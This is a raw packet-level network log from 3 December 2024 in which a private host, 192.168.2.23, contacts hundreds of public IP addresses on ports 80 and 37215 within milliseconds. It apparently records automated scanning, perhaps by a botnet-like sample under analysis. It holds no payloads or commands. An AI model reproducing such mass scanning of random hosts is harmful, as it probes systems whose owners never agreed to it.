Dec 3, 2024 22:16:44.718645096 CET	37707	80	192.168.2.23	171.18.252.125
Dec 3, 2024 22:16:44.718650103 CET	37707	80	192.168.2.23	182.255.176.92
Dec 3, 2024 22:16:44.718655109 CET	37707	80	192.168.2.23	203.59.48.86
Dec 3, 2024 22:16:44.718656063 CET	37707	80	192.168.2.23	100.159.183.251
Dec 3, 2024 22:16:44.718677044 CET	37707	80	192.168.2.23	192.49.220.160
Dec 3, 2024 22:16:44.718705893 CET	80	37707	34.16.181.228	192.168.2.23
Dec 3, 2024 22:16:44.718715906 CET	80	37707	82.8.53.18	192.168.2.23
Dec 3, 2024 22:16:44.718724966 CET	80	37707	46.151.238.19	192.168.2.23
Dec 3, 2024 22:16:44.718740940 CET	37707	80	192.168.2.23	34.16.181.228
Dec 3, 2024 22:16:44.718744040 CET	80	37707	200.214.104.68	192.168.2.23
Dec 3, 2024 22:16:44.718750000 CET	37707	80	192.168.2.23	82.8.53.18
Dec 3, 2024 22:16:44.718758106 CET	37707	80	192.168.2.23	46.151.238.19
Dec 3, 2024 22:16:44.718779087 CET	80	37707	25.73.102.99	192.168.2.23
Dec 3, 2024 22:16:44.718781948 CET	37707	80	192.168.2.23	200.214.104.68
Dec 3, 2024 22:16:44.718816996 CET	37707	80	192.168.2.23	25.73.102.99
Dec 3, 2024 22:16:44.718842030 CET	80	37707	92.196.180.141	192.168.2.23
Dec 3, 2024 22:16:44.718880892 CET	37707	80	192.168.2.23	92.196.180.141
Dec 3, 2024 22:16:44.719033957 CET	80	37707	175.124.85.122	192.168.2.23
Dec 3, 2024 22:16:44.719069004 CET	37707	80	192.168.2.23	175.124.85.122
Dec 3, 2024 22:16:44.719750881 CET	80	37707	61.67.15.214	192.168.2.23
Dec 3, 2024 22:16:44.719760895 CET	80	37707	79.107.75.81	192.168.2.23
Dec 3, 2024 22:16:44.719769955 CET	80	37707	76.225.15.13	192.168.2.23
Dec 3, 2024 22:16:44.719789028 CET	80	37707	97.156.9.54	192.168.2.23
Dec 3, 2024 22:16:44.719790936 CET	37707	80	192.168.2.23	61.67.15.214
Dec 3, 2024 22:16:44.719795942 CET	37707	80	192.168.2.23	79.107.75.81
Dec 3, 2024 22:16:44.719800949 CET	37707	80	192.168.2.23	76.225.15.13
Dec 3, 2024 22:16:44.719821930 CET	80	37707	77.54.119.158	192.168.2.23
Dec 3, 2024 22:16:44.719830036 CET	37707	80	192.168.2.23	97.156.9.54
Dec 3, 2024 22:16:44.719860077 CET	37707	80	192.168.2.23	77.54.119.158
Dec 3, 2024 22:16:44.719873905 CET	80	37707	9.145.42.223	192.168.2.23
Dec 3, 2024 22:16:44.719882965 CET	80	37707	87.139.72.252	192.168.2.23
Dec 3, 2024 22:16:44.719903946 CET	80	37707	38.35.240.26	192.168.2.23
Dec 3, 2024 22:16:44.719916105 CET	37707	80	192.168.2.23	9.145.42.223
Dec 3, 2024 22:16:44.719917059 CET	37707	80	192.168.2.23	87.139.72.252
Dec 3, 2024 22:16:44.719933033 CET	80	37707	159.99.34.41	192.168.2.23
Dec 3, 2024 22:16:44.719944954 CET	37707	80	192.168.2.23	38.35.240.26
Dec 3, 2024 22:16:44.719969988 CET	80	37707	96.145.235.205	192.168.2.23
Dec 3, 2024 22:16:44.719974041 CET	37707	80	192.168.2.23	159.99.34.41
Dec 3, 2024 22:16:44.720005035 CET	37707	80	192.168.2.23	96.145.235.205
Dec 3, 2024 22:16:44.720029116 CET	80	37707	57.69.58.224	192.168.2.23
Dec 3, 2024 22:16:44.720038891 CET	80	37707	147.35.198.210	192.168.2.23
Dec 3, 2024 22:16:44.720069885 CET	37707	80	192.168.2.23	57.69.58.224
Dec 3, 2024 22:16:44.720073938 CET	37707	80	192.168.2.23	147.35.198.210
Dec 3, 2024 22:16:44.720078945 CET	80	37707	81.209.1.36	192.168.2.23
Dec 3, 2024 22:16:44.720088005 CET	80	37707	20.5.63.222	192.168.2.23
Dec 3, 2024 22:16:44.720115900 CET	37707	80	192.168.2.23	81.209.1.36
Dec 3, 2024 22:16:44.720119953 CET	37707	80	192.168.2.23	20.5.63.222
Dec 3, 2024 22:16:44.720127106 CET	80	37707	92.29.204.194	192.168.2.23
Dec 3, 2024 22:16:44.720168114 CET	37707	80	192.168.2.23	92.29.204.194
Dec 3, 2024 22:16:44.720288038 CET	80	37707	5.92.252.204	192.168.2.23
Dec 3, 2024 22:16:44.720295906 CET	80	37707	87.196.49.103	192.168.2.23
Dec 3, 2024 22:16:44.720304012 CET	80	37707	190.209.5.199	192.168.2.23
Dec 3, 2024 22:16:44.720328093 CET	37707	80	192.168.2.23	5.92.252.204
Dec 3, 2024 22:16:44.720328093 CET	37707	80	192.168.2.23	87.196.49.103
Dec 3, 2024 22:16:44.720328093 CET	37707	80	192.168.2.23	190.209.5.199
Dec 3, 2024 22:16:44.720474958 CET	80	37707	156.132.171.106	192.168.2.23
Dec 3, 2024 22:16:44.720484972 CET	80	37707	20.23.106.52	192.168.2.23
Dec 3, 2024 22:16:44.720494032 CET	80	37707	144.113.244.64	192.168.2.23
Dec 3, 2024 22:16:44.720503092 CET	80	37707	146.71.10.208	192.168.2.23
Dec 3, 2024 22:16:44.720510960 CET	80	37707	118.193.250.138	192.168.2.23
Dec 3, 2024 22:16:44.720513105 CET	37707	80	192.168.2.23	20.23.106.52
Dec 3, 2024 22:16:44.720514059 CET	37707	80	192.168.2.23	156.132.171.106
Dec 3, 2024 22:16:44.720520020 CET	80	37707	24.36.220.109	192.168.2.23
Dec 3, 2024 22:16:44.720527887 CET	80	37707	172.100.220.132	192.168.2.23
Dec 3, 2024 22:16:44.720531940 CET	80	37707	208.12.99.122	192.168.2.23
Dec 3, 2024 22:16:44.720530987 CET	37707	80	192.168.2.23	144.113.244.64
Dec 3, 2024 22:16:44.720532894 CET	37707	80	192.168.2.23	146.71.10.208
Dec 3, 2024 22:16:44.720536947 CET	80	37707	155.67.196.94	192.168.2.23
Dec 3, 2024 22:16:44.720541000 CET	80	37707	25.227.147.85	192.168.2.23
Dec 3, 2024 22:16:44.720541000 CET	37707	80	192.168.2.23	118.193.250.138
Dec 3, 2024 22:16:44.720576048 CET	37707	80	192.168.2.23	24.36.220.109
Dec 3, 2024 22:16:44.720580101 CET	37707	80	192.168.2.23	155.67.196.94
Dec 3, 2024 22:16:44.720581055 CET	37707	80	192.168.2.23	25.227.147.85
Dec 3, 2024 22:16:44.720581055 CET	37707	80	192.168.2.23	172.100.220.132
Dec 3, 2024 22:16:44.720581055 CET	37707	80	192.168.2.23	208.12.99.122
Dec 3, 2024 22:16:44.721381903 CET	80	37707	121.154.46.153	192.168.2.23
Dec 3, 2024 22:16:44.721421957 CET	37707	80	192.168.2.23	121.154.46.153
Dec 3, 2024 22:16:44.721446037 CET	80	37707	66.249.171.23	192.168.2.23
Dec 3, 2024 22:16:44.721456051 CET	80	37707	219.182.191.73	192.168.2.23
Dec 3, 2024 22:16:44.721462965 CET	37215	37451	197.54.146.210	192.168.2.23
Dec 3, 2024 22:16:44.721472025 CET	37215	37451	197.200.142.210	192.168.2.23
Dec 3, 2024 22:16:44.721487999 CET	37707	80	192.168.2.23	66.249.171.23
Dec 3, 2024 22:16:44.721487999 CET	37451	37215	192.168.2.23	197.54.146.210
Dec 3, 2024 22:16:44.721491098 CET	37707	80	192.168.2.23	219.182.191.73
Dec 3, 2024 22:16:44.721498013 CET	37451	37215	192.168.2.23	197.200.142.210
Dec 3, 2024 22:16:44.721549034 CET	37215	37451	156.129.157.95	192.168.2.23
Dec 3, 2024 22:16:44.721558094 CET	37215	37451	156.158.230.46	192.168.2.23
Dec 3, 2024 22:16:44.721569061 CET	37215	37451	197.151.147.236	192.168.2.23
Dec 3, 2024 22:16:44.721585989 CET	37215	37451	197.23.238.23	192.168.2.23
Dec 3, 2024 22:16:44.721589088 CET	37451	37215	192.168.2.23	156.158.230.46
Dec 3, 2024 22:16:44.721590042 CET	37451	37215	192.168.2.23	156.129.157.95
Dec 3, 2024 22:16:44.721606016 CET	37451	37215	192.168.2.23	197.151.147.236
Dec 3, 2024 22:16:44.721611023 CET	37215	37451	197.211.79.78	192.168.2.23
Dec 3, 2024 22:16:44.721621037 CET	37215	37451	41.126.98.147	192.168.2.23
Dec 3, 2024 22:16:44.721620083 CET	37451	37215	192.168.2.23	197.23.238.23
Dec 3, 2024 22:16:44.721628904 CET	37215	37451	41.79.208.174	192.168.2.23
Dec 3, 2024 22:16:44.721638918 CET	37215	37451	41.102.18.98	192.168.2.23
Dec 3, 2024 22:16:44.721652031 CET	37451	37215	192.168.2.23	197.211.79.78
Dec 3, 2024 22:16:44.721657991 CET	37451	37215	192.168.2.23	41.126.98.147
Dec 3, 2024 22:16:44.721659899 CET	37451	37215	192.168.2.23	41.79.208.174
Dec 3, 2024 22:16:44.721662045 CET	37451	37215	192.168.2.23	41.102.18.98
Dec 3, 2024 22:16:44.721823931 CET	37215	37451	197.5.131.192	192.168.2.23
Dec 3, 2024 22:16:44.721859932 CET	37451	37215	192.168.2.23	197.5.131.192
Dec 3, 2024 22:16:44.721940994 CET	37215	37451	197.213.118.71	192.168.2.23
Dec 3, 2024 22:16:44.721949100 CET	37215	37451	156.102.139.62	192.168.2.23
Dec 3, 2024 22:16:44.721957922 CET	37215	37451	197.184.84.79	192.168.2.23
Dec 3, 2024 22:16:44.721966028 CET	37215	37451	41.67.79.101	192.168.2.23
Dec 3, 2024 22:16:44.721976995 CET	37215	37451	156.189.191.16	192.168.2.23
Dec 3, 2024 22:16:44.721978903 CET	37451	37215	192.168.2.23	197.213.118.71
Dec 3, 2024 22:16:44.721980095 CET	37451	37215	192.168.2.23	156.102.139.62
Dec 3, 2024 22:16:44.721990108 CET	37451	37215	192.168.2.23	197.184.84.79
Dec 3, 2024 22:16:44.721990108 CET	37451	37215	192.168.2.23	41.67.79.101
Dec 3, 2024 22:16:44.722016096 CET	37451	37215	192.168.2.23	156.189.191.16
Dec 3, 2024 22:16:44.722049952 CET	37215	37451	197.229.135.211	192.168.2.23
Dec 3, 2024 22:16:44.722060919 CET	37215	37451	41.199.176.40	192.168.2.23
Dec 3, 2024 22:16:44.722085953 CET	37451	37215	192.168.2.23	197.229.135.211
Dec 3, 2024 22:16:44.722089052 CET	37451	37215	192.168.2.23	41.199.176.40
Dec 3, 2024 22:16:44.722093105 CET	37215	37451	156.221.41.158	192.168.2.23
Dec 3, 2024 22:16:44.722106934 CET	37215	37451	156.20.9.74	192.168.2.23
Dec 3, 2024 22:16:44.722131014 CET	37451	37215	192.168.2.23	156.221.41.158
Dec 3, 2024 22:16:44.722136021 CET	37215	37451	41.29.39.255	192.168.2.23
Dec 3, 2024 22:16:44.722146034 CET	37215	37451	41.56.51.55	192.168.2.23
Dec 3, 2024 22:16:44.722146988 CET	37451	37215	192.168.2.23	156.20.9.74
Dec 3, 2024 22:16:44.722155094 CET	37215	37451	41.98.92.145	192.168.2.23
Dec 3, 2024 22:16:44.722165108 CET	37215	37451	197.78.66.55	192.168.2.23
Dec 3, 2024 22:16:44.722172976 CET	37451	37215	192.168.2.23	41.29.39.255
Dec 3, 2024 22:16:44.722184896 CET	37451	37215	192.168.2.23	41.56.51.55
Dec 3, 2024 22:16:44.722188950 CET	37451	37215	192.168.2.23	41.98.92.145
Dec 3, 2024 22:16:44.722201109 CET	37451	37215	192.168.2.23	197.78.66.55
Dec 3, 2024 22:16:44.723171949 CET	37215	37451	156.108.19.49	192.168.2.23
Dec 3, 2024 22:16:44.723212957 CET	37451	37215	192.168.2.23	156.108.19.49
Dec 3, 2024 22:16:44.723304987 CET	37215	37451	197.132.202.161	192.168.2.23
Dec 3, 2024 22:16:44.723344088 CET	37451	37215	192.168.2.23	197.132.202.161
Dec 3, 2024 22:16:44.723397017 CET	37215	37451	41.27.3.222	192.168.2.23
Dec 3, 2024 22:16:44.723429918 CET	37215	37451	197.249.160.113	192.168.2.23
Dec 3, 2024 22:16:44.723437071 CET	37451	37215	192.168.2.23	41.27.3.222
Dec 3, 2024 22:16:44.723438978 CET	37215	37451	197.137.95.193	192.168.2.23
Dec 3, 2024 22:16:44.723467112 CET	37451	37215	192.168.2.23	197.249.160.113
Dec 3, 2024 22:16:44.723467112 CET	37451	37215	192.168.2.23	197.137.95.193
Dec 3, 2024 22:16:44.723738909 CET	37215	37451	41.129.8.23	192.168.2.23
Dec 3, 2024 22:16:44.723747969 CET	37215	37451	156.160.79.230	192.168.2.23
Dec 3, 2024 22:16:44.723756075 CET	37215	37451	197.236.150.220	192.168.2.23
Dec 3, 2024 22:16:44.723763943 CET	37215	37451	156.165.159.123	192.168.2.23
Dec 3, 2024 22:16:44.723773003 CET	37215	37451	156.110.163.88	192.168.2.23
Dec 3, 2024 22:16:44.723773956 CET	37451	37215	192.168.2.23	41.129.8.23
Dec 3, 2024 22:16:44.723782063 CET	37215	37451	197.87.56.193	192.168.2.23
Dec 3, 2024 22:16:44.723783970 CET	37451	37215	192.168.2.23	156.160.79.230
Dec 3, 2024 22:16:44.723786116 CET	37451	37215	192.168.2.23	197.236.150.220
Dec 3, 2024 22:16:44.723787069 CET	37451	37215	192.168.2.23	156.165.159.123
Dec 3, 2024 22:16:44.723789930 CET	37215	37451	197.69.183.48	192.168.2.23
Dec 3, 2024 22:16:44.723798037 CET	37215	37451	156.219.233.177	192.168.2.23
Dec 3, 2024 22:16:44.723805904 CET	37451	37215	192.168.2.23	156.110.163.88
Dec 3, 2024 22:16:44.723807096 CET	37215	37451	156.115.76.195	192.168.2.23
Dec 3, 2024 22:16:44.723805904 CET	37451	37215	192.168.2.23	197.87.56.193
Dec 3, 2024 22:16:44.723815918 CET	37215	37451	41.198.44.135	192.168.2.23
Dec 3, 2024 22:16:44.723824978 CET	37215	37451	197.63.89.40	192.168.2.23
Dec 3, 2024 22:16:44.723825932 CET	37451	37215	192.168.2.23	197.69.183.48
Dec 3, 2024 22:16:44.723829985 CET	37451	37215	192.168.2.23	156.219.233.177
Dec 3, 2024 22:16:44.723829985 CET	37451	37215	192.168.2.23	156.115.76.195
Dec 3, 2024 22:16:44.723834038 CET	37215	37451	197.22.146.172	192.168.2.23
Dec 3, 2024 22:16:44.723841906 CET	37215	37451	197.46.102.60	192.168.2.23
Dec 3, 2024 22:16:44.723848104 CET	37451	37215	192.168.2.23	41.198.44.135
Dec 3, 2024 22:16:44.723850965 CET	37215	37451	41.150.71.43	192.168.2.23
Dec 3, 2024 22:16:44.723855972 CET	37451	37215	192.168.2.23	197.63.89.40
Dec 3, 2024 22:16:44.723860025 CET	37215	37451	156.252.140.120	192.168.2.23
Dec 3, 2024 22:16:44.723867893 CET	37215	37451	41.129.189.144	192.168.2.23
Dec 3, 2024 22:16:44.723871946 CET	37215	37451	41.52.153.189	192.168.2.23
Dec 3, 2024 22:16:44.723872900 CET	37451	37215	192.168.2.23	197.22.146.172
Dec 3, 2024 22:16:44.723874092 CET	37451	37215	192.168.2.23	197.46.102.60
Dec 3, 2024 22:16:44.723876953 CET	37215	37451	197.184.110.195	192.168.2.23
Dec 3, 2024 22:16:44.723879099 CET	37451	37215	192.168.2.23	41.150.71.43
Dec 3, 2024 22:16:44.723885059 CET	37215	37451	156.109.96.254	192.168.2.23
Dec 3, 2024 22:16:44.723893881 CET	37215	37451	156.180.251.163	192.168.2.23
Dec 3, 2024 22:16:44.723901987 CET	37215	37451	41.243.223.206	192.168.2.23
Dec 3, 2024 22:16:44.723908901 CET	37215	37451	41.237.163.234	192.168.2.23
Dec 3, 2024 22:16:44.723910093 CET	37451	37215	192.168.2.23	156.252.140.120
Dec 3, 2024 22:16:44.723910093 CET	37451	37215	192.168.2.23	156.109.96.254
Dec 3, 2024 22:16:44.723912954 CET	37451	37215	192.168.2.23	41.129.189.144
Dec 3, 2024 22:16:44.723917007 CET	37215	37451	41.113.131.225	192.168.2.23
Dec 3, 2024 22:16:44.723917961 CET	37451	37215	192.168.2.23	41.52.153.189
Dec 3, 2024 22:16:44.723922014 CET	37451	37215	192.168.2.23	197.184.110.195
Dec 3, 2024 22:16:44.723925114 CET	37451	37215	192.168.2.23	156.180.251.163
Dec 3, 2024 22:16:44.723933935 CET	37451	37215	192.168.2.23	41.243.223.206
Dec 3, 2024 22:16:44.723938942 CET	37451	37215	192.168.2.23	41.237.163.234
Dec 3, 2024 22:16:44.723942995 CET	37451	37215	192.168.2.23	41.113.131.225
Dec 3, 2024 22:16:44.724601984 CET	37215	37451	197.53.8.53	192.168.2.23
Dec 3, 2024 22:16:44.724651098 CET	37451	37215	192.168.2.23	197.53.8.53
Dec 3, 2024 22:16:44.724709988 CET	37215	37451	41.191.36.120	192.168.2.23
Dec 3, 2024 22:16:44.724719048 CET	37215	37451	41.28.106.76	192.168.2.23
Dec 3, 2024 22:16:44.724749088 CET	37451	37215	192.168.2.23	41.191.36.120
Dec 3, 2024 22:16:44.724754095 CET	37451	37215	192.168.2.23	41.28.106.76
Dec 3, 2024 22:16:44.724857092 CET	37215	37451	156.39.104.57	192.168.2.23
Dec 3, 2024 22:16:44.724865913 CET	37215	37451	41.167.9.197	192.168.2.23
Dec 3, 2024 22:16:44.724869967 CET	37215	37451	197.16.218.10	192.168.2.23
Dec 3, 2024 22:16:44.724874020 CET	37215	37451	41.21.217.148	192.168.2.23
Dec 3, 2024 22:16:44.724881887 CET	37215	37451	197.8.203.192	192.168.2.23
Dec 3, 2024 22:16:44.724893093 CET	37215	37451	41.20.3.12	192.168.2.23
Dec 3, 2024 22:16:44.724893093 CET	37451	37215	192.168.2.23	156.39.104.57
Dec 3, 2024 22:16:44.724900007 CET	37451	37215	192.168.2.23	41.167.9.197
Dec 3, 2024 22:16:44.724900007 CET	37451	37215	192.168.2.23	197.16.218.10
Dec 3, 2024 22:16:44.724901915 CET	37215	37451	156.150.241.175	192.168.2.23
Dec 3, 2024 22:16:44.724905014 CET	37451	37215	192.168.2.23	41.21.217.148
Dec 3, 2024 22:16:44.724905014 CET	37451	37215	192.168.2.23	197.8.203.192
Dec 3, 2024 22:16:44.724910021 CET	37215	37451	156.18.145.206	192.168.2.23
Dec 3, 2024 22:16:44.724919081 CET	37215	37451	197.133.75.208	192.168.2.23
Dec 3, 2024 22:16:44.724921942 CET	37215	37451	41.213.78.117	192.168.2.23
Dec 3, 2024 22:16:44.724930048 CET	37451	37215	192.168.2.23	41.20.3.12
Dec 3, 2024 22:16:44.724930048 CET	37215	37451	156.199.118.60	192.168.2.23
Dec 3, 2024 22:16:44.724936962 CET	37451	37215	192.168.2.23	156.150.241.175
Dec 3, 2024 22:16:44.724936962 CET	37451	37215	192.168.2.23	156.18.145.206
Dec 3, 2024 22:16:44.724941015 CET	37215	37451	41.85.136.119	192.168.2.23
Dec 3, 2024 22:16:44.724948883 CET	37451	37215	192.168.2.23	41.213.78.117
Dec 3, 2024 22:16:44.724950075 CET	37451	37215	192.168.2.23	197.133.75.208
Dec 3, 2024 22:16:44.724956989 CET	37215	37451	41.183.254.62	192.168.2.23
Dec 3, 2024 22:16:44.724968910 CET	37215	37451	156.195.217.134	192.168.2.23
Dec 3, 2024 22:16:44.724970102 CET	37451	37215	192.168.2.23	156.199.118.60
Dec 3, 2024 22:16:44.724970102 CET	37451	37215	192.168.2.23	41.85.136.119
Dec 3, 2024 22:16:44.724977016 CET	37215	37451	197.81.133.78	192.168.2.23
Dec 3, 2024 22:16:44.724984884 CET	37215	37451	41.253.236.33	192.168.2.23
Dec 3, 2024 22:16:44.724992990 CET	37215	37451	156.154.246.133	192.168.2.23
Dec 3, 2024 22:16:44.724992990 CET	37451	37215	192.168.2.23	156.195.217.134
Dec 3, 2024 22:16:44.724996090 CET	37451	37215	192.168.2.23	41.183.254.62
Dec 3, 2024 22:16:44.725001097 CET	37215	37451	156.157.66.12	192.168.2.23
Dec 3, 2024 22:16:44.725009918 CET	37215	37451	156.4.227.164	192.168.2.23
Dec 3, 2024 22:16:44.725013971 CET	37451	37215	192.168.2.23	197.81.133.78
Dec 3, 2024 22:16:44.725018978 CET	37215	37451	156.16.100.176	192.168.2.23
Dec 3, 2024 22:16:44.725022078 CET	37451	37215	192.168.2.23	41.253.236.33
Dec 3, 2024 22:16:44.725020885 CET	37451	37215	192.168.2.23	156.154.246.133
Dec 3, 2024 22:16:44.725028038 CET	37215	37451	156.133.134.3	192.168.2.23
Dec 3, 2024 22:16:44.725037098 CET	37215	37451	156.16.46.167	192.168.2.23
Dec 3, 2024 22:16:44.725040913 CET	37215	37451	156.169.59.38	192.168.2.23
Dec 3, 2024 22:16:44.725040913 CET	37451	37215	192.168.2.23	156.4.227.164
Dec 3, 2024 22:16:44.725044966 CET	37451	37215	192.168.2.23	156.157.66.12
Dec 3, 2024 22:16:44.725044966 CET	37451	37215	192.168.2.23	156.16.100.176
Dec 3, 2024 22:16:44.725049019 CET	37215	37451	41.191.253.136	192.168.2.23
Dec 3, 2024 22:16:44.725064039 CET	37215	37451	41.135.66.128	192.168.2.23
Dec 3, 2024 22:16:44.725071907 CET	37451	37215	192.168.2.23	156.16.46.167
Dec 3, 2024 22:16:44.725071907 CET	37451	37215	192.168.2.23	156.133.134.3
Dec 3, 2024 22:16:44.725073099 CET	37451	37215	192.168.2.23	156.169.59.38
Dec 3, 2024 22:16:44.725075960 CET	37451	37215	192.168.2.23	41.191.253.136
Dec 3, 2024 22:16:44.725095034 CET	37451	37215	192.168.2.23	41.135.66.128
Dec 3, 2024 22:16:44.725866079 CET	37215	37451	156.25.183.50	192.168.2.23
Dec 3, 2024 22:16:44.725874901 CET	37215	37451	41.208.55.20	192.168.2.23
Dec 3, 2024 22:16:44.725883961 CET	37215	37451	197.160.139.25	192.168.2.23
Dec 3, 2024 22:16:44.725909948 CET	37451	37215	192.168.2.23	41.208.55.20
Dec 3, 2024 22:16:44.725909948 CET	37451	37215	192.168.2.23	197.160.139.25
Dec 3, 2024 22:16:44.725910902 CET	37451	37215	192.168.2.23	156.25.183.50
Dec 3, 2024 22:16:44.726005077 CET	37215	37451	41.161.194.146	192.168.2.23
Dec 3, 2024 22:16:44.726013899 CET	37215	37451	156.250.202.157	192.168.2.23
Dec 3, 2024 22:16:44.726022005 CET	37215	37451	156.180.246.166	192.168.2.23
Dec 3, 2024 22:16:44.726030111 CET	37215	37451	156.162.199.150	192.168.2.23
Dec 3, 2024 22:16:44.726039886 CET	37215	37451	156.59.129.66	192.168.2.23
Dec 3, 2024 22:16:44.726041079 CET	37451	37215	192.168.2.23	41.161.194.146
Dec 3, 2024 22:16:44.726047039 CET	37451	37215	192.168.2.23	156.250.202.157
Dec 3, 2024 22:16:44.726048946 CET	37215	37451	41.246.187.234	192.168.2.23
Dec 3, 2024 22:16:44.726047993 CET	37451	37215	192.168.2.23	156.180.246.166
Dec 3, 2024 22:16:44.726058006 CET	37215	37451	41.238.9.136	192.168.2.23
Dec 3, 2024 22:16:44.726066113 CET	37215	37451	41.161.240.164	192.168.2.23
Dec 3, 2024 22:16:44.726068020 CET	37451	37215	192.168.2.23	156.162.199.150
Dec 3, 2024 22:16:44.726068020 CET	37451	37215	192.168.2.23	156.59.129.66
Dec 3, 2024 22:16:44.726073980 CET	37215	37451	156.12.99.134	192.168.2.23
Dec 3, 2024 22:16:44.726080894 CET	37451	37215	192.168.2.23	41.238.9.136
Dec 3, 2024 22:16:44.726083994 CET	37215	37451	41.213.252.59	192.168.2.23
Dec 3, 2024 22:16:44.726087093 CET	37451	37215	192.168.2.23	41.246.187.234
Dec 3, 2024 22:16:44.726094007 CET	37215	37451	197.162.160.160	192.168.2.23
Dec 3, 2024 22:16:44.726099968 CET	37451	37215	192.168.2.23	156.12.99.134
Dec 3, 2024 22:16:44.726103067 CET	37215	37451	197.245.25.197	192.168.2.23
Dec 3, 2024 22:16:44.726109028 CET	37451	37215	192.168.2.23	41.161.240.164
Dec 3, 2024 22:16:44.726114035 CET	37451	37215	192.168.2.23	41.213.252.59
Dec 3, 2024 22:16:44.726114035 CET	37451	37215	192.168.2.23	197.162.160.160
Dec 3, 2024 22:16:44.726120949 CET	37215	37451	156.175.222.110	192.168.2.23
Dec 3, 2024 22:16:44.726130962 CET	37215	37451	197.209.143.44	192.168.2.23
Dec 3, 2024 22:16:44.726139069 CET	37215	37451	41.137.135.179	192.168.2.23
Dec 3, 2024 22:16:44.726139069 CET	37451	37215	192.168.2.23	197.245.25.197
Dec 3, 2024 22:16:44.726142883 CET	37215	37451	197.35.198.83	192.168.2.23
Dec 3, 2024 22:16:44.726150990 CET	37215	37451	156.125.160.170	192.168.2.23
Dec 3, 2024 22:16:44.726159096 CET	37215	37451	197.181.63.56	192.168.2.23
Dec 3, 2024 22:16:44.726161957 CET	37215	37451	41.86.174.22	192.168.2.23
Dec 3, 2024 22:16:44.726162910 CET	37451	37215	192.168.2.23	156.175.222.110
Dec 3, 2024 22:16:44.726166964 CET	37451	37215	192.168.2.23	197.209.143.44
Dec 3, 2024 22:16:44.726166964 CET	37451	37215	192.168.2.23	41.137.135.179
Dec 3, 2024 22:16:44.726171017 CET	37215	37451	156.21.66.73	192.168.2.23
Dec 3, 2024 22:16:44.726177931 CET	37451	37215	192.168.2.23	197.35.198.83
Dec 3, 2024 22:16:44.726178885 CET	37215	37451	41.112.236.13	192.168.2.23
Dec 3, 2024 22:16:44.726186991 CET	37215	37451	156.230.56.162	192.168.2.23
Dec 3, 2024 22:16:44.726190090 CET	37451	37215	192.168.2.23	197.181.63.56
Dec 3, 2024 22:16:44.726193905 CET	37451	37215	192.168.2.23	156.125.160.170
Dec 3, 2024 22:16:44.726196051 CET	37215	37451	41.222.161.20	192.168.2.23
Dec 3, 2024 22:16:44.726198912 CET	37451	37215	192.168.2.23	41.86.174.22
Dec 3, 2024 22:16:44.726198912 CET	37451	37215	192.168.2.23	156.21.66.73
Dec 3, 2024 22:16:44.726206064 CET	37215	37451	156.10.127.55	192.168.2.23
Dec 3, 2024 22:16:44.726207018 CET	37451	37215	192.168.2.23	156.230.56.162
Dec 3, 2024 22:16:44.726208925 CET	37451	37215	192.168.2.23	41.112.236.13
Dec 3, 2024 22:16:44.726216078 CET	37215	37451	156.250.116.39	192.168.2.23
Dec 3, 2024 22:16:44.726227045 CET	37451	37215	192.168.2.23	41.222.161.20
Dec 3, 2024 22:16:44.726243973 CET	37451	37215	192.168.2.23	156.10.127.55
Dec 3, 2024 22:16:44.726249933 CET	37451	37215	192.168.2.23	156.250.116.39
Dec 3, 2024 22:16:44.727133036 CET	37215	37451	41.94.67.119	192.168.2.23
Dec 3, 2024 22:16:44.727158070 CET	37215	37451	197.174.80.107	192.168.2.23
Dec 3, 2024 22:16:44.727168083 CET	37215	37451	197.222.200.181	192.168.2.23
Dec 3, 2024 22:16:44.727170944 CET	37451	37215	192.168.2.23	41.94.67.119
Dec 3, 2024 22:16:44.727185011 CET	37215	37451	197.2.135.226	192.168.2.23
Dec 3, 2024 22:16:44.727194071 CET	37215	37451	41.165.206.189	192.168.2.23
Dec 3, 2024 22:16:44.727195024 CET	37451	37215	192.168.2.23	197.174.80.107
Dec 3, 2024 22:16:44.727195978 CET	37451	37215	192.168.2.23	197.222.200.181
Dec 3, 2024 22:16:44.727204084 CET	37215	37451	41.53.203.123	192.168.2.23
Dec 3, 2024 22:16:44.727220058 CET	37451	37215	192.168.2.23	197.2.135.226
Dec 3, 2024 22:16:44.727224112 CET	37451	37215	192.168.2.23	41.165.206.189
Dec 3, 2024 22:16:44.727237940 CET	37451	37215	192.168.2.23	41.53.203.123
Dec 3, 2024 22:16:44.727392912 CET	37215	37451	41.22.206.28	192.168.2.23
Dec 3, 2024 22:16:44.727402925 CET	37215	37451	197.53.201.1	192.168.2.23
Dec 3, 2024 22:16:44.727411032 CET	37215	37451	156.24.92.191	192.168.2.23
Dec 3, 2024 22:16:44.727418900 CET	37215	37451	41.69.28.46	192.168.2.23
Dec 3, 2024 22:16:44.727422953 CET	37215	37451	41.228.108.64	192.168.2.23
Dec 3, 2024 22:16:44.727430105 CET	37451	37215	192.168.2.23	197.53.201.1
Dec 3, 2024 22:16:44.727432013 CET	37215	37451	156.180.76.166	192.168.2.23
Dec 3, 2024 22:16:44.727433920 CET	37451	37215	192.168.2.23	41.22.206.28
Dec 3, 2024 22:16:44.727442026 CET	37215	37451	197.165.64.196	192.168.2.23
Dec 3, 2024 22:16:44.727446079 CET	37451	37215	192.168.2.23	156.24.92.191
Dec 3, 2024 22:16:44.727446079 CET	37451	37215	192.168.2.23	41.69.28.46
Dec 3, 2024 22:16:44.727447033 CET	37451	37215	192.168.2.23	41.228.108.64
Dec 3, 2024 22:16:44.727452040 CET	37215	37451	197.74.140.147	192.168.2.23
Dec 3, 2024 22:16:44.727462053 CET	37215	37451	156.139.163.243	192.168.2.23
Dec 3, 2024 22:16:44.727471113 CET	37215	37451	156.93.110.103	192.168.2.23
Dec 3, 2024 22:16:44.727472067 CET	37451	37215	192.168.2.23	156.180.76.166
Dec 3, 2024 22:16:44.727473974 CET	37451	37215	192.168.2.23	197.165.64.196
Dec 3, 2024 22:16:44.727483034 CET	37215	37451	197.118.226.253	192.168.2.23
Dec 3, 2024 22:16:44.727483988 CET	37451	37215	192.168.2.23	197.74.140.147
Dec 3, 2024 22:16:44.727493048 CET	37215	37451	156.224.225.171	192.168.2.23
Dec 3, 2024 22:16:44.727502108 CET	37451	37215	192.168.2.23	156.139.163.243
Dec 3, 2024 22:16:44.727508068 CET	37215	37451	156.73.130.233	192.168.2.23
Dec 3, 2024 22:16:44.727515936 CET	37451	37215	192.168.2.23	156.93.110.103
Dec 3, 2024 22:16:44.727519035 CET	37215	37451	41.98.78.220	192.168.2.23
Dec 3, 2024 22:16:44.727524042 CET	37451	37215	192.168.2.23	156.224.225.171
Dec 3, 2024 22:16:44.727520943 CET	37451	37215	192.168.2.23	197.118.226.253
